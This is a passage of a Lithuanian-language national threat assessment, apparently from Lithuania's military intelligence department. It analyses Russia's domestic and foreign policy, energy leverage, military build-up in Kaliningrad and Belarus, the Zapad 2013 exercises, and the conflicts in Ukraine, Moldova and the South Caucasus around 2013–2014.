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Grėsmių nacionaliniam saugumui vertinimas teikiamas visuomenei atsižvelgiant į 
Lietuvos Respublikos žvalgybos įstatymo 8 ir 26 straipsnių nuostatas. Dokumente pateikiamas 
neįslaptintas gynybos, karinių-politinių, karinių-ekonominių, karinių-technologinių ir karinių-
informacinių išorės grėsmių ir rizikos veiksnių Lietuvos Respublikos nacionaliniam saugumui 
vertinimas. 

 
 

ĮVADAS 
 

Šiuo metu konvencinio karo tikimybė artimiausioje Lietuvos geopolitinėje 
aplinkoje (Baltijos jūros regione) vis dar išlieka gana maža. Kita vertus, kai kurios 
tendencijos ir išorės veikėjų veiksmai labai neigiamai veikia Lietuvos saugumo situaciją. 
Rusijos oficialūs pareigūnai ne kartą yra pareiškę, kad SSRS žlugimas buvo didžiausia 
geopolitinė katastrofa, o Rusija buvusios SSRS erdvėje turinti išskirtinių interesų, į 
kuriuos privalo atsižvelgti kiti tarptautiniai subjektai. Taip pat Rusija deklaruoja, kad jos 
netenkina dabartinė Europos saugumo architektūra, kuri esanti šaltojo karo atgyvena ir 
turėtų būti keičiama atsižvelgiant į atsigaunančią Rusijos galią. Pabrėžtina, kad Rusija iki 
šiol vadovaujasi tradicinės galios politikos ir „nulinės sumos“1 principais. Tai ypač 
išryškėjo 2013 m. pabaigoje, Rusijos pastangoms užsitikrinti Ukrainos kontrolę 
pasiekiant viršūnę. Krymo karinė okupacija, aneksija ir veiksmai siekiant dezintegruoti 
Ukrainą parodė, kad Rusija negerbia kaimyninių valstybių nepriklausomybės, teritorinio 
vientisumo ir yra linkusi grubiai pažeisti tarptautinę teisę. Taip pat 2014 m. pradžios 
įvykiai rodo, kad Rusijos valdžia ir visuomenė yra pasiryžusios prisiimti ypač aukštus 
savo veiksmų kaštus ir mano, kad Rusija yra pakankamai atspari bet kokiam išorės 
subjektų spaudimui. 

Nepaisant akivaizdžiai priešiško Rusijos požiūrio į kaimyninių valstybių 
savarankiškumą, Rusija kol kas nėra pajėgi pradėti karinį konfliktą prieš NATO. Tai 
didina į Aljanso sudėtį įeinančių valstybių saugumą ir pastebimai mažina konvencinio 
karinio konflikto tikimybę Baltijos jūros regione. Kita vertus, Rusija intensyviai plėtoja 
savo karinius pajėgumus. Taip pat pažymėtina, kad konfliktas su Ukraina, kaip jis 
besibaigtų, turės ilgalaikių neigiamų pasekmių viso Vidurio ir Rytų Europos regiono 
saugumui ir stabilumui. Todėl šiam regionui, o ypač kai kurioms jo valstybėms ir Rusijos 
kontroliuojamoms organizacijoms, artimiausiu metu reikės didelio dėmesio. 

Lietuva savo nacionalinį saugumą suvokia kaip sudedamąją NATO ir ES saugumo 
politikos dalį, deleguodama karius į tarptautines karines operacijas ir misijas (NATO ir 
ES). Todėl Antrasis operatyvinių tarnybų departamentas prie Krašto apsaugos 
ministerijos (AOTD) taip pat didelį dėmesį skiria pavojingų tendencijų stebėjimui bei 
analizei ir labiau nutolusiuose regionuose – Afganistane, Vidurio Rytuose, Afrikoje.  

Be tradicinių konvencinio pobūdžio konfliktų ir įtampos židinių, vis didesnę žalą 
valstybių nacionalinio saugumo interesams daro transnacionalinio pobūdžio procesai ir 
reiškiniai – terorizmas, kibernetinės atakos, piratavimas ir kiti. Kai kurie minėti procesai 
ir reiškiniai turi tiesioginį neigiamą poveikį Lietuvos nacionaliniam saugumui. Dalis šių 
globalių procesų ir reiškinių turi neigiamą poveikį ES ir NATO narių saugumui, taip pat 
netiesiogiai veikia ir Lietuvos nacionalinio saugumo interesus. 

                                                           

1 „Nulinės sumos“ principas reiškia, kad esant dviejų ar daugiau subjektų interesų susikirtimui negalima 
situacija, kai visos konflikto šalys laimi. Bet kurio konflikto dalyvio laimėjimas yra kitų dalyvių 
pralaimėjimas. T. y. bet koks laimėjimas iš esmės galimas tik kieno nors sąskaita. 
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REGIONINIS SAUGUMAS 

 
Rusija 
2013 m. toliau ryškėjo, kad Rusijos vidaus politikos esminis ir lemiantis 

elementas – susiformavusi centralizuota uždara politinė sistema, kurioje dominuoja 
prezidentui Vladimirui Putinui lojalūs žmonės, susiję su oficialiosios politinės valdžios, 
saugumo, žvalgybos ir stambaus verslo organizacijomis. Ši sistema užtikrina tiek viešojo, 
tiek privataus sektoriaus subjektų lojalumą Rusijos politiniam elitui ir suteikia jam 
galimybę kontroliuoti politinius bei visuomeninius procesus. Taip užtikrinamas 
egzistuojančios politinės sanklodos stabilumas ir sukuriamos sąlygos toliau stiprinti 
valdančiojo elito pozicijas. 

2013 m. ir 2014 m. pradžioje ypač išryškėjo kryptingos propagandos vaidmuo 
užtikrinant valdančiojo režimo palaikymą. Rusiją pristatant kaip alternatyvą 
vakarietiškų politinių ir kultūrinių vertybių sistemai, formuojama konservatyvi, 
antivakarietiška rusų tautos tapatybė. Akcentuojama Vakarų grėsmė tradicinėms „slavų 
pasaulio“ moralės vertybėms ir politinėms tradicijoms. Šiame kontekste propaguojamas 
stiprios nacionalinius ir kultūrinius interesus ginančios Rusijos valdžios įvaizdis lemia 
visuomenės paramą jos vykdomai politikai. Rusijos politinei vadovybei tai padeda 
išvengti vidaus politinės ir ekonominės sistemos reformų bei vykdyti ekspansinę 
užsienio politiką. Pažymėtina, kad Krymo pusiasalį aneksavusi, Ukrainos dezintegracijos 
siekianti, aštriai su Vakarų valstybėmis konfrontuojanti Rusijos politinė vadovybė 
sulaukia beveik vienareikšmiško visuomenės palaikymo. Stiprėjančios didžiavalstybinės 
nuotaikos (kaip parodė konfliktas su Ukraina, būdingos absoliučiai didžiajai daliai 
visuomenės) turės neigiamos įtakos ir skatins dar agresyvesnės Rusijos užsienio 
politikos formavimą. 

Opozicinių judėjimų įtaka politiniams ir visuomeniniams procesams išlieka 
nedidelė. Joks opozicinis judėjimas nepajėgia pritraukti platesnio visuomenės 
palaikymo. Pažymėtina, kad netgi didelė dalis asmenų, kurie 2011 m. pabaigoje–2012 m. 
pirmojoje pusėje protestavo prieš valdantįjį režimą, visiškai arba iš dalies palaiko 
agresyvius Rusijos veiksmus Ukrainoje. Jeigu šiuo metu vyraujančios tendencijos (visų 
pirma, didžiavalstybinio šovinizmo nuotaikų plitimas) tęsis, netgi santykinai liberalesnių 
pažiūrų asmenų atėjimas į valdžią Rusijoje nepakeistų esminių jos politikos kaimyninių 
valstybių atžvilgiu bruožų.  

Šios toliau ryškėjančios tendencijos Rusijos vidaus politikoje ir visuomenėje 
darys ilgalaikį neigiamą poveikį Lietuvos nacionaliniam saugumui. 

Rusijos užsienio politikoje intensyvėja mėginimai įtvirtinti savo, kaip 
atgimusios didžiosios valstybės, statusą ir didinti įtaką tarptautinėje arenoje, ypač – 
posovietinėje erdvėje. Esmine kliūtimi siekiant tarptautinės įtakos Rusijos vadovybė 
laiko NATO. Aljansas traktuojamas kaip tiesioginio pavojaus šaltinis. Rusijos veiksmai 
yra nukreipti į NATO, kaip potencialaus priešininko, silpninimą ir įtampos tarp jo narių 
didinimą. Rusija aktyviai priešinasi galimos tolesnės NATO plėtros posovietinėje erdvėje 
perspektyvoms. 2013 m. (ypač antrojoje metų pusėje) intensyvėjo Rusijos 
antivakarietiška retorika ir stiprėjo konfrontacinės tendencijos santykiuose su NATO / 
Vakarais. Rusijos veiksmai aneksuojant Krymo pusiasalį ir siekiant Ukrainos 
dezintegracijos paskatino tolesnį įtampos tarp Rusijos ir NATO / Vakarų augimą. 

Ypač daug dėmesio Rusija skiria gilesniam buvusios SSRS erdvės integracijos 
procesui – Eurazijos ekonominės sąjungos kūrimui. Šio iki 2015 m. planuojamo 
įgyvendinti projekto etapais laikomos jau sukurtos Rusijos, Baltarusijos ir Kazachstano 
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muitų sąjunga ir Vieninga ekonominė erdvė. Artimiausiu metu turi būti pasirašyti 
Eurazijos ekonominės sąjungos steigimo susitarimai tarp Rusijos, Baltarusijos ir 
Kazachstano. Tuo pat metu mėginama ne tik gilinti šiuose procesuose dalyvaujančių 
šalių integraciją, bet ir vykdyti geografinę plėtrą. 2013 m. Rusija pasiekė, kad Armėnija 
deklaruotų apsisprendimą prisijungti prie Muitų sąjungos ir žengtų tolesnius 
integracinius žingsnius. 

Rusijos peršamo integracijos modelio plėtra vykdyta mėginant aktyviai 
pasipriešinti bet kokios Vakarų įtakos sklaidai šioje erdvėje. Pasipriešinimas intensyvėjo 
artėjant ES Rytų partnerystės viršūnių susitikimui Vilniuje. Iš dalies su šiuo 
intensyvėjančiu pasipriešinimu buvo susijęs ir Rusijos ekonominis spaudimas, kurį 2013 
m. patyrė Lietuva. 

Rusijos–Ukrainos konfliktas turės dvejopą poveikį Rusijos proteguojamiems 
integraciniams projektams. Tikėtina, kad į šiuos procesus įtraukiamos valstybės dar 
labiau vengs glaudesnės politinės integracijos ir viršnacionalinių politinių institucijų 
sukūrimo. Kita vertus, Ukrainoje Rusija pademonstravo, kad nori ir gali naudoti karinę 
jėgą prieš kaimynines valstybes, jei to reikia jos interesams. Todėl šioms valstybėms bus 
dar sudėtingiau atlaikyti Rusijos spaudimą. 

Rusijos energetinė politika. Vidurio ir Rytų Europos šalių siekį užsitikrinti 
energetinę nepriklausomybę Rusija vertina kaip jos ekonominių ir politinių interesų 
pažeidimą, taip pat – kaip grėsmę savo kariniam saugumui. Taip jautriai Rusijos 
vadovybė reaguoja dėl kelių priežasčių: 

 Rusijos biudžetas išlieka kritiškai priklausomas nuo pajamų už energetinių 
išteklių eksportą. Didelės pajamos už naftą ir dujas leidžia palaikyti vidaus 
politinį stabilumą ir finansuoti svarbiausius valstybinius projektus (tarp jų ir 
ginkluotųjų pajėgų modernizavimą). Europos vidinę energetinę rinką 
stiprinantys integraciniai ir energetinių šaltinių diversifikavimo procesai2 turi 
esminį neigiamą poveikį Rusijos interesams ir visai jos energetikos politikai, 
todėl vertinami kaip grėsmė saugumui.  

 Kritinę dalies NATO šalių priklausomybę nuo Rusijos energetinių išteklių Rusijos 
vadovybė vertina kaip vieną pagrindinių politinės įtakos svertų. Rusijos 
dominavimas Nepriklausomų valstybių sandraugos (NVS) erdvėje, jos kuriamų 
integracinių susivienijimų plėtra regione taip pat daugiausiai pagrįsti energetine 
NVS šalių priklausomybe. Pvz., viena pagrindinių priežasčių, 2013 m. privertusių 
Armėniją apsispręsti stoti į Muitų sąjungą, yra energetinių alternatyvų 
neturėjimas. Eurazijos ekonominės sąjungos projekto sėkmė labai priklausys nuo 
gebėjimo sukurti Vieningą energetinę erdvę, todėl alternatyvų paieškos šiose 
šalyse vertinamos kaip esminė grėsmė Rusijos interesams. 

 Baltijos jūros regione (ypač Lietuvoje) įgyvendinami infrastruktūros, finansiniai 
ir teisiniai pokyčiai energetinėje sistemoje vertinami kaip papildoma grėsmė 
Rusijos saugumui dėl išliekančios Kaliningrado srities priklausomybės nuo 
energetinių išteklių tranzito per NATO šalį. 
Rusijos atsaku dažniausiai tampa energetiniai projektai, kurių įgyvendinimas 

pagrįstas ne ekonomine logika, o siekiu sukurti naujus įtakos svertus, leidžiančius 
išlaikyti dominuojamą padėtį konkretaus regiono energetiniame sektoriuje. Dviejų 

                                                           

2 Pvz., Trečiojo ES energetikos paketo įgyvendinimas, tarpregioninių jungčių tiesimas, rinkos mechanizmų 
plėtra. 
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atominių jėgainių statybomis prie Lietuvos sienų (Kaliningrado srityje ir Baltarusijos 
Astravo rajone) Rusija siekia užkirsti kelią kaimyninių valstybių elektros energetikos 
projektams įgyvendinti (savų atominių jėgainių statybai, prisijungimui prie Europos 
elektros tinklų). 2013 m. atominės elektrinės statyba Kaliningrado srityje sustabdyta, 
nes projektui akivaizdžiai trūksta ekonominio prasmingumo. Kita vertus, jėgainės 
statyba Baltarusijoje tęsiama ir, tikėtina, bus baigta. 

Tuo pat metu Kaliningrado srities energetinės izoliacijos planais stengiamasi 
diskredituoti Lietuvos, kaip ES šalies vardą, vertinant ją kaip nepatikimą tranzitinę 
valstybę. Rusijos vykdoma intensyvia viešųjų ryšių kampanija siekiama užtikrinti 
Rusijos visuomenės paramą šiems projektams, dezinformacijos skleidimą ir skaldyti 
Lietuvos visuomenę. Analogiška „skaldyk ir valdyk“ strategija kituose Europos 
regionuose Rusija siekia perimti ir išsaugoti svarbiausių tranzito ir eksporto taškų 
kontrolę ir įsitvirtinti kaip pagrindinis žaidėjas Eurazijos energetinėje rinkoje. 
Nestabilumas regionuose, esančiuose arba galinčiuose tapti potencialiais energetinių 
išteklių tiekėjais (Šiaurės Afrikoje, Rytų Viduržemio regione ir Centrinės Azijos šalyse) 
arba tranzito šalimis (pvz., Ukrainoje, Sirijoje), sudaro palankias sąlygas Rusijos 
energetinei politikai įgyvendinti. 

Energetika ir toliau išlieka Rusijos ginkluotųjų pajėgų finansavimo pagrindas. 
Rusijos ekonomikos augimas pastaraisiais metais lėtėjo (2011 m. BVP augo 4,3 %, 2012 
m. – 3,4 %, 2013 m. – tik 1,3 ). Atsižvelgus į neigiamą agresijos Ukrainoje poveikį labai 
tikėtina, kad 2014 m. ekonomikos augimas bus dar mažesnis (arba neigiamas). 
Pabrėžtina, kad Rusijos ekonomika ir biudžetas išlieka kritiškai priklausomi nuo 
energetikos sektoriaus. 2013 m. 50,3  biudžeto pajamų gauta iš naftos ir dujų sektorių. 

Tradiciškai vis didesnė dalis šių pajamų skiriama ginkluotųjų pajėgų 
finansavimui. 2013 m. gynybos išlaidos sudarė 3,2  BVP ir 16  visų biudžeto išlaidų. 
Planuojama, kad 
gynybos išlaidų 
santykinė dalis 
toliau nuosekliai 
augs, t. y. 
ekonomika ir 
biudžetas bus 
toliau 
militarizuojami 
(žr. grafiką). 
Gilėjančios 
ekonomikos 
problemos gali 
pakoreguoti 
šiuos planus. 
Kita vertus, 2009 
ir 2010 m. per 
ekonomikos 
krizę ginkluotųjų pajėgų finansavimui buvo skiriamas aukščiausias prioritetas, todėl 
tikėtina, kad netgi naujos ekonominės krizės sąlygomis nacionalinei gynybai bus 
skiriamas didžiausias įmanomas finansavimas. 

Rusija analizavo nuo Šaltojo karo pabaigos pasaulyje vykusius karinius 
konfliktus, o ypač tuos, kuriuose dalyvavo JAV ir NATO pajėgos. Atlikusi šių konfliktų 
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analizę Rusija identifikavo, kad karinių konfliktų pobūdis pasikeitė – labai išaugo 
nekarinių priemonių reikšmė siekiant politinių ir strateginių tikslių, jos kai kuriais 
atvejais yra daug efektyvesnės nei ginkluotųjų pajėgų panaudojimas. 

Rusija prieš kitas valstybes pirmiausia numato naudoti nekarines priemones – 
politinį, ekonominį, informacinį, diplomatinį spaudimą ir karinės galios demonstravimą, 
o šioms priemonėms nedavus laukiamų rezultatų, numatomas karinių priemonių 
naudojimas. 

Pažymėtina, kad nekarinės priemonės naudojamos siekiant paveikti ir trikdyti 
oponento politinių sprendimų priėmimo procesus, taip pat skaldyti karinių, ekonominių 
bei politinių sąjungų vienybę, išryškinant nesutarimus tarp atskirų šalių. Šios priemonės 
jau dabar skirtingai intensyviai taikomos prieš šalis ar jų blokus (NATO, ES), kurie 
trukdo Rusijai įgyvendinti jos strateginius tikslus. 

Rusijos karinis planavimas taip pat labai pasikeitė. Anksčiau buvęs gynybinis 
karinio planavimo pobūdis pakeistas į puolamąjį, numatant naudoti: 

 netikėtas ir greitas nuolatinės parengties pajėgų operacijas priešo teritorijoje; 
 civilinės ir karinės kritinės infrastruktūros naikinimą priešo teritorijoje, siekiant 

palaužti šalies / šalių ir jų piliečių valią priešintis; 
 asimetrines ir netiesioginio poveikio priemones (informacines operacijas, 

kibernetines atakas). 
Rusija suvokia, kad jos karinio potencialo atsilikimas nuo NATO ir JAV yra didelis 

ir jo panaikinti per artimiausią dešimtmetį nepavyks. Todėl esant būtinybei operaciją 

Vakarų kryptimi numatoma pradėti pirmiems, netikėto puolimo metu sumažinant 
oponento karinį potencialą operacijos rajone iki tokio lygmens, kuris būtų priimtinas 
Rusijai. 
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Pažymėtina, kad dabartinės Rusijos ginkluotųjų pajėgų galimybės įvykdyti tokią 
operaciją yra labai ribotos. Rusija pajėgtų vykdyti operaciją prieš atskiras šalis, bet ne 
prieš visą Aljansą. Norint būti pasirengusiai vykdyti platesnio masto operacijas prieš 
NATO ar JAV, Rusijai būtina modernizuoti savo ginkluotąsias pajėgas. Tai ir daroma šiuo 
metu. 

Rusijos ginkluotųjų pajėgų vystymui skiriamos milžiniškos lėšos. Šiuo metu 
įgyvendinamos 2011–2020 m. valstybinės ginkluotės programos (VGP) ir kuriamos 
naujos 2016–2025 m. VGP tikslas – sukurti pajėgas, galinčias vykdyti operacijas 
remiantis naujais karinio planavimo principais prieš bet kokį priešininką (įskaitant 
NATO, JAV). Todėl nepaisant to, kad ginkluotės programų prioritetų viršūnėje vis dar yra 
Rusijos strateginės branduolinės pajėgos, pastebimai auga kitų sričių, būtinų naujo 
pobūdžio operacijoms įgyvendinti, reikšmė. Ypač didelis finansavimas skiriamas Rusijos 
oro-kosmoso gynybos sistemai vystyti, naujoms ilgojo nuotolio konvencinėms ypač 
tikslioms ginkluotės sistemoms ir automatizuoto pajėgų valdymo sistemoms kurti. 

Lietuvai potencialiai ypač pavojingas oro-kosmoso gynybos elementų vystymas 
Kaliningrado srityje. Čia jau dabar dislokuoti priešlėktuvinės gynybos kompleksai S-400 
dengia didžiąją dalį Lietuvos teritorijos (šiuo metu naudojamos raketos deklaruojamas 
veikimo nuotolis – 250 km). Ateityje į Kaliningrado sritį atgabenus šiuo metu kuriamas 
ilgojo nuotolio zenitines raketas kompleksams S-400 (deklaruojamas veikimo nuotolis – 
400 km) visa Lietuvos teritorija pateks į šių sistemų veikimo zoną. Šių sistemų veikla 
krizės metu labai apsunkintų NATO operacijas regione. 

Vertinant Rusijos ginkluotųjų pajėgų aktyvumą pažymėtina, kad 2013 m. buvo 
pradėti vykdyti netikėti ginkluotųjų pajėgų kovinės parengties patikrinimai, kurie 
dažniausiai baigdavosi stambaus masto pratybomis. 2013 m. buvo netikėtai tikrinami 
visose karinėse apygardose dislokuoti aviacijos, laivyno, desanto, sausumos ir 
strateginės paskirties pajėgų daliniai. Šie patikrinimai leido Rusijos vadovybei įvertinti 
realų pajėgų pasirengimą vykdyti užduotis ir nuo 2008 metų vykdomos ginkluotųjų 
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pajėgų reformos rezultatus. Patikrinimai taip pat naudoti kaip karinės galios 
demonstravimas kaimyninėms valstybės ir Vakarams. Pažymėtina, kad 2014 m., 
prisidengdama vienu iš tokių patikrinimų, Rusija perdislokavo dalį ginkluotųjų pajėgų 
prie Ukrainos sienos. Patikrinimai neigiamai veikia šalia Rusijos esančių valstybių 
saugumą, nes leidžia Rusijai netikėtai perdislokuoti dideles pajėgas ir riboja kaimyninių 
valstybių galimybes tiksliai vertinti perdislokavimų mastą bei tikslus, t. y. apribojamos 
ankstyvojo perspėjimo apie galimą karinį konfliktą galimybės. 

Rengiant plataus masto mokymus, tikrinamas naujų ginkluotės sistemų 
efektyvumas ir ginkluotųjų 
pajėgų pasirengimas vykdyti 
kariniuose planuose 
numatytas operacijas. 2013 
m. rugsėjo pabaigoje Rusijos 
Vakarų karinėje apygardoje ir 
Baltarusijoje vyko plataus 
masto strateginiai mokymai 
„Zapad 2013“. Jie pratęsė 
didelio masto mokymų 
Vakarų kryptimi praktiką. 
Mokymuose be Rusijos ir 
Baltarusijos karių dalyvavo ir 
kitų Kolektyvinio saugumo 
sutarties organizacijos (KSSO) 
šalių kariai. Oficialiai 
deklaruota, kad mokymuose 
dalyvavo daugiau nei 22 
tūkst. karių, mokymai turėjo 
vykti Kaliningrado srityje ir 

Baltarusijoje. Realus mokymų scenarijus ir juose dalyvaujančių karių skaičius nebuvo 
atskleisti, nepaisant Rusijos deklaruoto mokymų skaidrumo. Siekiant nuslėpti tikrąjį 
mokymų mastą, atskiri mokymų epizodai buvo vykdomi kitose geografinėse vietovėse ir 
nebuvo laikomasi realios ginkluoto konflikto vystymosi laiko ašies. Į mokymus buvo 
pakviesti tarptautiniai stebėtojai, bet jų galimybės stebėti mokymus buvo ribotos. 
Aptariant mokymus, aukščiausia Rusijos politinė ir karinė vadovybė nurodė, kad 
pagrindinis mokymų tikslas buvo įvertinti šalies institucijų pasirengimą koordinuotai 
pereiti iš taikos meto veiklos į karo padėties ir įgyvendinti šalies gynybos planus. 
Pabrėžtina, kad tradiciškai mokymų Vakarų strategine kryptimi metu simuliuojamas 
karinis konfliktas su NATO, ne išimtis buvo ir „Zapad 2013“. 

2013 m. Rusija toliau stiprino karinius pajėgumus Vakarų kryptimi ir 
Kaliningrado srityje. Baltijos laivyne toliau vykdytas ginkluotės sistemų atnaujinimas, 
modernizavimas ir dalinių perginklavimas. Kaliningrado srityje dislokuotas jūrų 
pėstininkų dalinys perginkluotas naujais šarvuočiais BTR-82A, laivyno komponentas 
sustiprintas korvete „Boikyj“, o transporto aviacijai planuojama perduoti naujus 
transporto orlaivius An-140-100. Nors 2013 m. pabaigoje žiniasklaidoje gana plačiai 
aptarinėtas taktinio-operacinio balistinių raketų komplekso „Iskander“ tariamas 
dislokavimas Kaliningrado srityje, ši sistema srityje kol kas nėra dislokuota. Kita vertus, 
vykdant 2011–2020 m. VGP ir perginkluojant ginkluotąsias pajėgas, „Iskander“ sistema 
turi atsirasti ir Kaliningrado srityje. Nepaisant to, kad ginkluotės skaičius Kaliningrado 
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srityje praktiškai nesikeičia, eksklave dislokuotų Baltijos laivyno dalinių kovinės 
galimybės auga dėl didesnių modernios ginkluotės galimybių ir valdymo bei vadovavimo 
sistemų tobulinimo. 

Rusijos ir Baltarusijos integracija karinėje srityje toliau gilėja. Baltarusija 
Rusijai yra priešakinis gynybos ešelonas Vakarų kryptyje. Rusijos ir Baltarusijos dalinių 
sąveika buvo tobulinama mokymų „Zapad 2013“ metu. Nuo 2013 m. pabaigos 
Baltarusijoje kovinį budėjimą vykdo Rusijos naikintuvų grandis. Pasinaudodama 
situacija Ukrainoje ir NATO padidinus karinius pajėgumus Rytų kryptimi, Rusija 2014 m. 
pradžioje sustiprino Baltarusijos oro erdvės apsaugą bei kontrolę ir dislokavo joje 
papildomus naikintuvus. Iki 2014 m. pabaigos Rusija ketina sukurti savo naikintuvų 
aviacijos bazę Baltarusijos teritorijoje. Tai dar labiau sustiprins šalių integraciją karinėje 
srityje ir padidins Baltarusijos priklausomybę nuo Rusijos. 

Pabrėžtina, kad 2014 m. pradžioje Ukrainoje Rusija pademonstravo, jog ji 
sugeba įgyvendinti plataus spektro operaciją, derindama karinės jėgos 
panaudojimą, diplomatiją, ekonomines priemones ir ypač intensyvias 
informacines operacijas. Taip pat įvykiai Ukrainoje parodė, kad Rusijos 
ginkluotosios pajėgos yra pajėgios greitai generuoti reikiamus pajėgumus, o 
pasirengimas operacijai gali būti gerai slepiamas. Tikėtina, kad Rusijai įgyjant vis 
daugiau pasitikėjimo savimi ir sukuriant vis efektyvesnes priemones (visų pirma, 
karines), augs ir pasirengimas tas priemones panaudoti. Tai labai neigiamai veiks 
Lietuvos saugumo situaciją. 
 

Baltarusija 
Baltarusijos vidaus politinį gyvenimą toliau lemia prezidento Aleksandro 

Lukašenkos asmenybės kultas. Konstitucinių mechanizmų netobulumas, centralizuota, 
jėgos institucijomis paremta valdžios sistema dabartiniam šalies vadovui suteikia beveik 
neribotą veiksmų laisvę ir galimybę išlaikyti autoritarinį režimą. Opozicinės partijos 
veikia legaliai, bet jos yra silpnos, nesugeba koordinuoti tarpusavio veiksmų, todėl jų 
įtaka šalies politiniam gyvenimui yra minimali. 

Sudėtinga ekonominė situacija šalyje išryškino struktūrinių pertvarkymų 
būtinybę. 2013 m. buvo pristatytas ekonomikos reformavimo planas, bet vadinamojo 
socialiai orientuotos rinkos ekonomikos modelio neatsisakoma. Didžiausiu 
makroekonominio subalansavimo kliuviniu išlieka prisiimami populistiniai 
įsipareigojimai. Nepaisant sunkmečio, valdžia tęsia socialinės gerovės užtikrinimo 
politiką, sukurdama režimo garantuojamos piliečių pagrindinių poreikių apsaugos 
iliuziją, todėl didžioji visuomenės dalis neturi ryškių antivyriausybinių nuotaikų. 

Įvykiais Ukrainoje Baltarusijos valdžia naudojasi visuomenės konsolidavimui ir 
vienvaldžio šalies lyderio įvaizdžio formavimui. Ekonomines ir socialines problemas 
stengiamasi užgožti eskaluojant saugumo (stabilumo) klausimą. Pasinaudojant 
dramatiškais Maidano įvykiais, pateisinama „stiprios rankos“ valdant šalį būtinybė. Netgi 
Rusijos karinių oro pajėgų naikintuvų dislokavimas šalyje pateikiamas kaip padidėjusio 
NATO aktyvumo regione nulemta Baltarusijos iniciatyva. 

Pagrindiniu Baltarusijos strateginiu partneriu išlieka Rusija. Kaip ir ankstesniais 
metais, dvišaliuose santykiuose 2013 m. neapsieita be konfliktinės situacijos. 
Konfrontaciją paskatino nesutarimai kalio trąšų eksporto srityje. Atslūgus emocijoms, 
dviejų šalių bendradarbiavimo projektai vystomi toliau. Tęsiasi Baltarusijos įsitraukimas 
į Rusijos proteguojamą Eurazijos ekonominę sąjungą. Šalia politinės paramos A. 
Lukašenkai, Baltarusijai šios sąjungos kūrimas suteikia Rusijos rinkos išsaugojimo ir 
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pigių energetinių išteklių užsitikrinimo galimybių. Tai sudaro prielaidas toliau didėti 
Baltarusijos politinei, ekonominei ir karinei priklausomybei nuo Rusijos. 

Vadinamasis „kalio konfliktas“ Baltarusijos kariniam bendradarbiavimui su Rusija 
įtakos neturėjo, pastebimas nuoseklus dviejų šalių ginkluotųjų pajėgų sąveikos gilėjimas. 
Baltarusija ir toliau savo karinio saugumo užtikrinimą sieja su Rusija, o prioritetu laiko 
Vieningos gynybinės erdvės su Rusija kūrimą ir plėtrą. Baltarusijoje vykę mokymai 
„Zapad 2013“ ir „Vzaimodeistvije 2013“ patvirtina ir tęsia minėtą tendenciją. 

Šiuo metu Baltarusijos ginkluotosios pajėgos yra orientuotos ir pajėgios vykdyti 
šalies gynybą bei užtikrinti mobilizacinę parengtį. Specialiųjų operacijų pajėgos, karinės 
oro ir priešlėktuvinės gynybos pajėgos išlieka prioritetinėmis vystymosi kryptimis, bet 
akivaizdu, kad lėšų trūkumas neleidžia jų modernizuoti norimais tempais. Rusija, 
pasinaudodama susidariusia situacija, dislokavo Baltarusijoje papildomus kovinius 
pajėgumus (naikintuvus), kurių panaudojimą kontroliuos pati. Tikėtina, kad ateityje 
Baltarusijos ginkluotųjų pajėgų potencialas bus padidintas iš Rusijos gauta naujausia 
ginkluote ir karine technika, bus stiprinama Rusijos–Baltarusijos regioninė karinė 
grupuotė. 
 

NVS erdvė, Ukraina ir Gruzija 
2013 m. Rusija dar intensyviau mėgino didinti įtaką posovietinėje erdvėje. 

Didžiausias spaudimas darytas Ukrainai, siekiant ją įtraukti į Rusijos kontroliuojamus 
integracinius procesus ir neleisti glaudžiau bendradarbiauti su Vakarais. 

Viktoro Janukovyčiaus ir jo aplinkos nušalinimą nuo valdžios 2014 m. pradžioje 
lėmė ne tiek opozicinių partijų veiksmai, kiek visuomenės pasipriešinimas ypač 
korumpuotai ir neefektyviai valdžiai. Naujosios Ukrainos valdžios situacija yra labai 
sudėtinga: ekonomikos ir viešųjų finansų būklė yra kritinė, neišvengiamai teks žengti 
socialiai skausmingus, bet būtinus žingsnius, kurie turės neigiamos įtakos visuomenės 
palaikymui. Valstybės teritorinis integralumas yra pažeistas, Rusijai karine jėga atplėšus 
Krymą ir mėginant plėsti dezintegracinius procesus rytiniuose ir pietiniuose regionuose. 
Kaip besibaigtų konfliktas su Rusija, artimiausiu metu Ukrainoje išliks didelė politinė ir 
auganti socialinė įtampa, o šalis bus labai priklausoma nuo tarptautinės politinės ir 
finansinės paramos. 

Rusija vykdo intensyvų Ukrainos karinį, politinį, ekonominį ir informacinį 
spaudimą, kurio pagrindinis tikslas – pakeisti Ukrainos valdžią, apriboti jos 
savarankiškų sprendimų galimybes ir užtikrinti Ukrainos priklausomybę nuo Rusijos. 
Pagrindinis Rusijos reikalavimas – „federalizacija“, t. y. Ukrainos virsmas iš unitarinės 
valstybės į ypač didelį savarankiškumą turinčių subjektų federaciją, vienijamą labai 
silpno centro. Jeigu Rusijai nepavyks užsitikrinti visos Ukrainos kontrolės, tikėtina, kad 
bus mėginama vykdyti dalies Ukrainos teritorijos atskyrimą, atplėšiant kuo daugiau 
rytinių ir pietinių regionų. 

Rusijos veiksmai Ukrainoje labai neigiamai veikia Moldovos saugumo situaciją. 
Krymo okupacija ir aneksija suaktyvino Padniestrės separatistus. Kai kurie Padniestrės 
de facto valdžios atstovai ėmė kelti susijungimo su Rusija reikalavimą. Moldova nėra 
pajėgi savarankiškai išspręsti Padniestrės konflikto. Rusija kol kas naudoja Padniestrės 
klausimą Moldovos ir Ukrainos spaudimui, bet nesiima realių šio separatistinio regiono 
galutinio atskyrimo nuo Moldovos arba prijungimo prie Rusijos veiksmų. Potencialiai 
labiausiai regionas būtų destabilizuotas, jeigu Rusija nuspręstų įvykdyti teritorinio 
susijungimo su Padniestre scenarijų per pietines Ukrainos sritis. 
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Kol kas nėra jokių akivaizdžių požymių, kad konflikto dėl Kalnų Karabacho 
sprendimas politinėmis priemonėmis gali pajudėti iš mirties taško. Armėnija ir 
Azerbaidžanas išlaiko labai griežtą retoriką ir vykdo savo ginkluotųjų pajėgų stiprinimo 
programas. Rusija išlieka pagrindiniu Armėnijos saugumo garantu. 2013 m. Rusija 
stiprino įtaką Armėnijoje ir pasiekė, kad ši šalis atsisakytų glaudesnio bendradarbiavimo 
su ES bei pasirinktų narystę Muitų sąjungoje. 2014 m. turi būti pasirašyti formalūs 
susitarimai dėl Armėnijos įtraukimo į šią organizaciją. 

Gruzijos separatistiniuose regionuose dislokuotas Rusijos karinis kontingentas 
didina jos įtaką Pietų Kaukazo regione. Rusijos įsitvirtinimas Abchazijoje ir Cchinvalio 
rajone (Pietų Osetijoje) palaiko nuolatinę karinę įtampą Gruzijos pasienyje ir labai 
